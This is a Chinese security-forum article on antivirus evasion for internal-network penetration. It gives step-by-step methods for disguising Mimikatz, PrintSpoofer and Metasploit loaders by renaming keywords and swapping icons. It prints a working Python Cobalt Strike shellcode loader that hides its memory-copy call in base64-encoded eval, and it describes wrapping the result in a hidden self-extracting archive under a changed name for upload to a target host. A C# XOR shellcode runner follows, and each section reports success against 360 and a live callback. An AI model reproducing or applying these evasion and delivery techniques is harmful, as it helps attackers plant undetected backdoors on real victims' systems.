问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
内网渗透-常用工具免杀
渗透测试
# 内网渗透-常用工具免杀 ## Mimikatz免杀 Mimikatz其实并不只有抓取口令这个功能,它还能够创建票证、票证传递、hash传递、甚至伪造域管理凭证令牌等诸多功能。由于mimikatz的使用说明网上资...
内网渗透-常用工具免杀 =========== Mimikatz免杀 ---------- Mimikatz其实并不只有抓取口令这个功能,它还能够创建票证、票证传递、hash传递、甚至伪造域管理凭证令牌等诸多功能。由于mimikatz的使用说明网上资料很多,这里就不多加介绍了,随着这两年hw行动越来越多,企事业单位也都开始注重内网安全,有预算的会上全套的终端安全、企业版杀软或者EDR,就算没有预算的也会装个360全家桶或者主机卫士之类的,这也导致很多时候你的mimikatz可能都没法拷贝过去或者没有加载执行,拿了台服务器却横向移不动就尴尬了。因为这款工具特别出名所以被查杀的机率很大, 我们可以通过 github 上的开源代码对其进行源码免杀从而 bypass 反病毒软件。 Mimikatz 源代码下载 <https://github.com/gentilkiwi/mimikatz> **免杀步骤** 替换 mimikatz 关键字 shenghuo [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-244bca8d5b6dd76bb209c41927093c1db988ef13.png) mimikatz 下的文件全部改为 shenghu [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-817c7a402e770b251240dd91209e7b7df9298474.png) 把项目里所有的文件注释去掉 / *Benjamin DELPY `gentilkiwi` <http://blog.gentilkiwi.com> benjamin@gentilkiwi.com Licence : <https://creativecommons.org/licenses/by/4.0/>* / [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-4b3cb9c98747cf0299bf9072677ed0d9fe95a3a6.png) 打开红色框框内的内容,替换图标文件 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-de00135c73f9a9de8c4a0f61c068d898afed78da.png) 出现 无法找到 v140 的生成工具(平台工具集 =“v140”),要选择自己安装的平台工具集 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-5f2caeafd4073f86fb9c194e1cce593b761367ca.png) 重新生成 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-bb256db9da7633c7739004a464c56a1fdd4bb382.png) 生成的程序能够正确运行 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-9827ddcd538d044a6746b5121efbf2d5d0e1eaa6.png) 成功过360 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-90fe115a6fbe4454518255cfce32edc97cf5719c.png) PrintSpoofer做免杀 printspoofer提权工具目前主流的提权工具之一,360 安全会自动查杀,其他杀毒软件并不会查杀。 源码下载地址: <https://github.com/itm4n/PrintSpoofer> [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-6580776fb17d8dd6611624c3b5f7194b33f676d6.png) 将PrintSpoofer.cpp 里面的输出帮助文档全部清空 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-6ada54429d454b1bf42bb81b1c4e5403384ab913.png) 导入图标 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-219fa4538e5054cfb4bb1995a74945f44a750d4d.png) 重新生成,程序生成成功 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-3ae1195aabb41318da2a0ebcf88c19d412867c7d.png) 成功过360 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-18e820a64bb3ab02300499cba308e7441083f055.png) msf免杀 ----- metasploit 是一款开源的安全漏洞检测工具,同时Metasploit 是免费的工具,因此安全工作人员常用 Metasploit 工具来检测系统的安全性。Metasploit Framework (MSF) 在 2003 年以开放源码方式发布,是可以自由获取的开发框架。 它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、 shellcode 编写和漏洞研究提供了一个可靠平台。其中攻击载荷模块(Payload) , 在红队中是个香饽饽,使用这个模块生成的后门,不仅支持多种平台,而且 Metasploit 还有编码器模块(Encoders),生成后门前,对其进行编码转换,可以混 淆绕过一部分杀毒软件。 工具 Dev-Cpp 5.11 TDM-GCC 4.9.2 Setup 下载地址 <https://sourceforge.net/projects/orwelldevcpp/> metasploit源码下载:metasploit-loader/master/src/main.c 选择:文件->新建项目->consoleApplication->c 项目 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-4b7d2de401dc320b5dcb89e59f4100915432cf8e.png) 把winsock2.h 移动到windows.h 上 不然编译会出错。 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-d0a145baeb67b58d88a3688a4aa0f74163882bae.png) 将这四处的数字改为其他数字 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-b5a75c85566b49721b01d42caa95aac4c463fc36.png) 设置攻击载荷,执行后成功上线 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-bd5f5a3c71a94bb896c4f9d4b021e775efd87306.png) 成功过360 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-b64b49b0cdaa659065f1092be9ad74739dafa764.png) Python3 对Cobalt strike的 shellcode 做免杀 ------------------------------------- 生成python64位的shellcode [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-30e105a451ca735d5139a436478d5c6f47798fbe.png) 添加生成的shellcode ```python import ctypes import base64 #shellcode 加载 def shellCodeLoad(shellcode): ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40)) buf= (ctypes.c_char * len(shellcode)).from_buffer(shellcode) eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTW Vtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ==")) handle =ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64( ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1)) if __name__ == "__main__": shellCodeLoad(bytearray(b'你的shellcode'))//这里为你的添加的shellcode位置 ``` 编译成程序 pyinstaller -F test.py --noconsole 此时还要做的就是更改图标,这里介绍一种方法 首先右击它,选择“添加到压缩文件” [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-8551ab935cecbe032055e960b44b7537a96ab123.png) 在弹出来的一个“压缩文件名和参数”框中设置压缩文件格式为“ZIP”,压缩方式为“存储”,压缩选项为“创建自解压格式压缩文件”。 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-9e052f771d547ccb9af7b4aa6b63740d4c23cff7.png) 随后选择“高级”选项卡。选择了“高级”选项卡以后直接点击“自解压选项” [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-c405df1b56b7ec738f64c034487a0dbbc25fa535.png) 在设置选项卡中解压后运行对应程序 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-d26fbf713a0d1b6239a2a817a3dbba6a107a2e67.png) 在模式选项卡中选择解压临时文件夹和全部隐藏 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0e082d7b19f2a8483c1724be43fff62a7e4591d5.png) 随后再选择“更新”选项卡,再覆盖方式中选择“覆盖所有文件” [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-37958a5f202b058af5f4ac3b884716fe74d1f963.png) 最后选择“文本和图标”选项卡,在自定义自解压文件徽标和图标中选择“从文件加载自解压文件图标”,点击“浏览”,找到自己想要加载的图标文件后并打开 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-d028fb2a71174f43e06aec37f26a66b38c5e7d9b.png) 然后就点击确定(两次)就可以生成一个新的exe程序了。图标已经改变了,再运行测试一下 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-224cb89112fa95d8b841ac5cd1958b3f9e7dfde3.png) 上传去目标主机,这里更改了程序名称 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-56b6c0ca3bb910ae4394cff6ff8c2809322a4ac5.png) 在线查杀 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ad8c84110a7073bec197e7b4a049beabe1b1ffb9.png) c# xor 加载器免杀cobaltstrike的shellcode ---------------------------------- 是很流行的编程语言,也可以用它来做一个加载器运行cobaltstrike的 shellcode,生成出来的 文件特别的小,可以很好的投递传输。 项目地址 <https://github.com/antman1p/ShellCodeRunner> 用 vs2017 打开 sln 项目文件 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ab3e1eec588620c3ce469a2b200c575a8d0bae35.png) 选择 xorkryptor 生成编码器 用 cobalt strike生成 raw 二进制文件 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-50cc4e338a4de40a06d388c681079da4b8bbbbc7.png) encrypt.bin 就是经过编码后的文件 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-30ee681ee79caa15d12c9956c9c11447d797faf2.png) 项目里面存有 Rsources 和 encrypt.bin 文件 事实上项目是没有这个文件夹和文 件所以再当前目录新建文件夹和将生成好的shellcode文件 encrypt.bin 复制到文 件夹里。右键选择编译文件即可。 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-698dd0c9bf042c8bf1e2016d436dcc1eeccc9f81.png) 此时文件正常 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-44752a7cad6ff7209b61baa3cff79aa42a8708c2.png) 重新编译,成功生成后门程序 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-08dc1b2ba905827380412eb32d5bb08855f81f72.png) 成功过360 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-f09d7daa9c8b98b06d1ec65851ad3b024442d9a8.png) 成功上线 [](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-add9c264e592c03a7dd748701750a409636aac1a.png) **更多免杀技术文章:** <https://www.freebuf.com/sectool/278200.html> <https://www.freebuf.com/sectool/273890.html> <https://xz.aliyun.com/t/8921> [https://blog.csdn.net/weixin\_43901038/article/details/105873786](https://blog.csdn.net/weixin_43901038/article/details/105873786) [https://blog.csdn.net/qq\_33942040/article/details/106463360](https://blog.csdn.net/qq_33942040/article/details/106463360) [https://www.sohu.com/a/451485615\_120045376](https://www.sohu.com/a/451485615_120045376) <https://www.cnblogs.com/micr067/p/12407494.html> [https://blog.csdn.net/weixin\_43901038/article/details/105873786](https://blog.csdn.net/weixin_43901038/article/details/105873786)
发表于 2021-08-16 16:24:23
阅读 ( 7961 )
分类:
内网渗透
1 推荐
收藏
0 条评论
请先
登录
后评论
hrk
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!